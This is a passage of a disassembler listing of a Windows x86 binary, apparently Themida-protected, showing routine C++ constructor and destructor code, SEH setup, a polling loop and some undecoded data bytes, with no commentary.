[esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AD2 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AD2 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AD2 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AD2 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AD2 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AD2 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AD2 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AD2 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AD2 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AD2 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AD2 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AD2 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_401AD2 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_401AD2 mov byte ptr [esp+14h+var_4], 1 lea ecx, [esi+9Bh] call sub_401AD2 lea ecx, [esi+52h] mov byte ptr [esp+14h+var_4], 0 call sub_401AD2 lea ecx, [esi+9] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401AD2 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417540 proc near ; CODE XREF: sub_4014F1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417540 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0A3h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417540 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4175E0 proc near ; CODE XREF: sub_401E83j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4175E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+118h] mov [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4175E0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4176B0 proc near ; CODE XREF: sub_401235j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4176B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+8D0C0h] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+8D036h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+8D008h] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4176B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417770 proc near ; CODE XREF: sub_402216j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417770 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417770 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417830 proc near ; CODE XREF: sub_401EB0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417830 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0EAh] mov [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417830 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4178F0 proc near ; CODE XREF: sub_4018CAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4178F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4178F0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417960 proc near ; CODE XREF: sub_4017D0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417960 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417960 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4179D0 proc near ; CODE XREF: sub_401B27j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4179D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4179D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A40 proc near ; CODE XREF: sub_401F28j add ecx, 4 jmp sub_401023 sub_417A40 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417A60 proc near ; CODE XREF: sub_401113j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+60h] mov [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417A60 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417AE0 proc near ; CODE XREF: sub_401DEDj add ecx, 4 jmp sub_401023 sub_417AE0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B00 proc near ; CODE XREF: sub_401FF5j add ecx, 4 jmp sub_401023 sub_417B00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417B20 proc near ; CODE XREF: sub_401EE2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+0BCh] mov [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h+var_4], 0 call sub_401023 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401023 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_417B20 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417BC0 proc near ; CODE XREF: sub_40157Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417BC0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+47h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+75h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0A3h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E078 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417BC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417C60 proc near ; CODE XREF: sub_401645j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417C60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 lea ecx, [esi+118h] mov byte ptr [esp+14h+var_4], 5 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E07C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417C60 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417D30 proc near ; CODE XREF: sub_401776j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417D30 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+8D008h] call sub_401749 lea ecx, [esi+8D036h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+8D064h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8D092h] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+8D0C0h] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E080 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417D30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DF0 proc near ; CODE XREF: sub_401820j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E050 mov eax, esi pop esi retn sub_417DF0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E20 proc near ; CODE XREF: sub_4016B3j push esi mov esi, ecx call sub_401E6A mov dword ptr [esi], offset off_43E05C mov eax, esi pop esi retn sub_417E20 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417E50 proc near ; CODE XREF: sub_401415j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417E50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E084 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417E50 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F10 proc near ; CODE XREF: sub_401302j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417F10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 lea ecx, [esi+0EAh] mov byte ptr [esp+14h+var_4], 4 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E088 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417F10 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417FD0 proc near ; CODE XREF: sub_401271j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417FD0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E08C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417FD0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418050 proc near ; CODE XREF: sub_401D11j push esi mov esi, ecx call sub_4011B3 mov dword ptr [esi], offset nullsub_10 mov eax, esi pop esi retn sub_418050 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418080 proc near ; CODE XREF: sub_4012FDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418080 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E094 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418080 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418100 proc near ; CODE XREF: sub_401A7Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418100 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E098 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418100 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418180 proc near ; CODE XREF: sub_401285j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E09C mov eax, esi pop esi retn sub_418180 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4181B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0A0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418230 proc near ; CODE XREF: sub_401573j push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A4 mov eax, esi pop esi retn sub_418230 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418260 proc near ; CODE XREF: sub_40178Fj push esi mov esi, ecx call sub_4011B3 lea ecx, [esi+4] call sub_401749 mov dword ptr [esi], offset off_43E0A8 mov eax, esi pop esi retn sub_418260 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_401073j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_418290 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+14h+var_4], 1 call sub_401749 lea ecx, [esi+8Eh] mov byte ptr [esp+14h+var_4], 2 call sub_401749 lea ecx, [esi+0BCh] mov byte ptr [esp+14h+var_4], 3 call sub_401749 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E0AC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_418290 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418330 proc near ; CODE XREF: sub_401267j var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch push ebx push ebp mov ebp, dword_50F8D0 push esi mov esi, ecx push edi xor bl, bl mov byte ptr [esi+9FD2Ch], 1 loc_418348: ; CODE XREF: sub_418330+E4j test bl, bl jnz loc_41841E mov al, [esi+8EF74h] test al, al jnz short loc_41835E mov bl, 1 jmp short loc_418372 ; --------------------------------------------------------------------------- loc_41835E: ; CODE XREF: sub_418330+28j lea ecx, [esi+15Fh] call sub_40185C test al, al setz bl test bl, bl jz short loc_418379 loc_418372: ; CODE XREF: sub_418330+2Cj mov byte ptr [esi+9FD2Ch], 0 loc_418379: ; CODE XREF: sub_418330+40j lea ecx, [esp+1Ch+var_C] call sub_402086 lea edi, [esi+9FD83h] lea eax, [esp+1Ch+var_4] push eax mov ecx, edi call sub_401F4B mov ecx, [eax] lea edx, [esp+1Ch+var_8] mov [esp+1Ch+var_C], ecx push edx mov ecx, edi call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jz short loc_4183FE loc_4183B4: ; CODE XREF: sub_418330+CCj lea ecx, [esp+1Ch+var_C] call sub_402211 mov ecx, [eax] call sub_401744 lea ecx, [esp+1Ch+var_C] call sub_402211 mov eax, [eax] test eax, eax jz short loc_4183DB mov edx, [eax] push 1 mov ecx, eax call dword ptr [edx] loc_4183DB: ; CODE XREF: sub_418330+A1j lea ecx, [esp+1Ch+var_C] call sub_401361 lea eax, [esp+1Ch+var_8] mov ecx, edi push eax call sub_401311 push eax lea ecx, [esp+20h+var_C] call sub_4016F9 test al, al jnz short loc_4183B4 loc_4183FE: ; CODE XREF: sub_418330+82j mov ecx, edi call sub_4010B9 push 0FAh call ebp mov al, [esi+9FD2Ch] test al, al jnz loc_418348 test bl, bl jz short loc_41842B loc_41841E: ; CODE XREF: sub_418330+1Aj pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_41842B: ; CODE XREF: sub_418330+ECj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 0Ch retn sub_418330 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418490 proc near ; CODE XREF: sub_401767j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_418490 push eax mov large fs:0, esp sub esp, 1A8h push ebx push ebp push esi mov esi, ecx push edi mov ecx, offset byte_4E6EDB mov byte ptr [esi+9FD2Ch], 1 call sub_4010B9 mov eax, [esp+1C4h+arg_4] test eax, eax jz short loc_4184D0 push eax jmp short loc_4184D5 ; --------------------------------------------------------------------------- loc_4184D0: ; CODE XREF: sub_418490+3Bj push offset byte_446F70 loc_4184D5: ; CODE XREF: sub_418490+3Ej lea ecx, [esi+9FD57h] call sub_4015D7 mov edi, [esp+1C4h+arg_0] test edi, edi jz short loc_4184EE push edi jmp short loc_4184F3 ; --------------------------------------------------------------------------- loc_4184EE: ; CODE XREF: sub_418490+59j push offset byte_446F70 loc_4184F3: ; CODE XREF: sub_418490+5Cj lea ecx, [esi+9FD6Ch] call sub_4015D7 push edi lea ecx, [esi+3Eh] call sub_401384 sub_418490 endp ; --------------------------------------------------------------------------- db 8Ah dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE945CE8h dd 244C8DFFh, 2685128h, 0E8000002h, 7169E121h, 8F88E890h dd 8E8DFFFEh, 1BBEh, 0FE92B1E8h, 468E8DFFh, 0E800001Bh dd 0FFFE94AEh, 15FBE8Dh, 0CF8B0000h, 0FE97DFE8h, 0D01D8BFFh dd 680050F8h, 3E8h, 0CF8BD3FFh, 0FE8CB3E8h, 3E868FFh, 0D3FF0000h dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh dd 0E80009FCh, 0FFFE8E48h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h dd 5300001Ch, 0B2E8CF8Bh, 8BFFFE95h, 8BE7E8CFh, 868AFFFEh dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 5FE8CF8Bh, 8AFFFE91h dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 0D5E855CFh dd 84FFFE99h, 530B75C0h, 0E8CF8B55h, 0FFFE8EABh, 0AE8D0EEBh dd 7F7h, 0E855CF8Bh, 0FFFE9346h, 7C7868Ah, 0C0840000h dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE99C7E8h, 74C084FFh dd 0E8006A08h, 7782185Eh, 98C6E890h, 8E8DFFFEh, 168h, 0FE91B3E8h dd 448D50FFh, 0E8501424h, 0FFFE99E6h, 5008C483h, 0FD2D8E8Dh dd 84C70009h, 1C424h, 0 dd 99B8E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h dd 8BBCE8FFh, 9E8DFFFEh, 8EF5Dh, 5DE8CB8Bh, 8DFFFE8Dh dd 8F2478Eh, 8D52E800h, 8E8DFFFEh, 1D29h, 0FE96F2E8h, 6F8E8DFFh dd 0E800001Eh, 0FFFE9449h, 0F2858E8Dh, 66E80008h, 8DFFFE8Fh dd 9FA138Eh, 9046E800h, 8E8DFFFEh, 8F3A2h, 0FE9B26E8h dd 738E8DFFh, 0E80009FAh, 0FFFE9783h, 3FE8CB8Bh, 8DFFFE93h dd 9FC428Eh, 9889E800h, 0CF8BFFFEh, 0FE896EE8h, 0BF8E8DFFh dd 0E80008F4h, 0FFFE9525h, 0FB058E8Dh, 9DE80009h, 8DFFFE94h dd 9FAD38Eh, 9802E800h, 8E8DFFFEh, 9FB93h, 0FE925CE8h dd 0CD8E8DFFh, 0E80009FBh, 0FFFE9931h, 0FBFF8E8Dh, 0C6E80009h dd 8BFFFE94h, 8B41E8CEh, 8E8DFFFEh, 8F270h, 11E8F88Bh dd 8BFFFE90h, 900AE8CBh, 0D9E8FFFEh, 90FFFE93h, 69BCE3E8h dd 42468A71h, 0B74C084h, 1528E8Dh, 83E80000h, 8BFFFE95h dd 1B8248Ch, 0C78B0000h, 5B5D5E5Fh, 0D8964h, 81000000h dd 1B4C4h, 8C200h, 3 dup(90909090h), 30h dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- locret_418840: ; CODE XREF: ___:00402202j retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418860: ; CODE XREF: ___:00401EC4j mov eax, [esp+0Ch] push 0 push eax mov ecx, offset dword_447158 call sub_401767 ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) byte_418880 db 10h dup(0CCh) ; DATA XREF: Themida_:005D7560o ; Themida_:005D7564o ... ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418890 proc near ; CODE XREF: sub_401B09j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4021BC mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401622 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40142E mov edx, [esi+4] mov ecx, esi push edx call sub_4020E5 sub_418890 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418900 proc near ; CODE XREF: sub_401AFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40139D sub_418900 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_418940 proc near ; CODE XREF: sub_4021DAj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401311 mov ecx, [eax] 